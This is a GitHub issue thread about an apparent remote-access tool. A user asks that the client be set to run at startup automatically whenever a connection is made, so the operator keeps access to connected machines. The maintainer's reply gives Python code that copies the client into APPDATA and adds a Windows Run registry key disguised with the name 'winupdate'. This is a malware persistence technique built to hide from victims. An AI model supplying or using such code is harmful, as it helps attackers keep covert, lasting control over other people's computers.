Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Request] for automatic run at startup (--a) #14

Closed
ToastiiOfficial opened this issue Jul 24, 2019 · 1 comment
Closed

[Request] for automatic run at startup (--a) #14

ToastiiOfficial opened this issue Jul 24, 2019 · 1 comment

Comments

@ToastiiOfficial
Copy link

It would be really good if there was an option to run the --a command (run at startup) whenever a new connection was established. This would be good because users could leave the server script running for a long time and it would automatically add the client file to startup so when the user comes back to the server they can access all of the connected IP addresses and if some have disconnected, then they will reconnect at the next boot. I have been trying to make this myself but I do not know much python. Thanks.

@xp4xbox
Copy link
Owner

xp4xbox commented Jul 25, 2019

It is really super easy to do on your own, just copy this code

strAppPath = APPDATA + "\\" + os.path.basename(strPath)
        copyfile(strPath, strAppPath)

        objRegKey = OpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS)
SetValueEx(objRegKey, "winupdate", 0, REG_SZ, strAppPath); CloseKey(objRegKey)

and put it after the import statements. Anybody who knows even a little bit about programming can easily figure this out.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants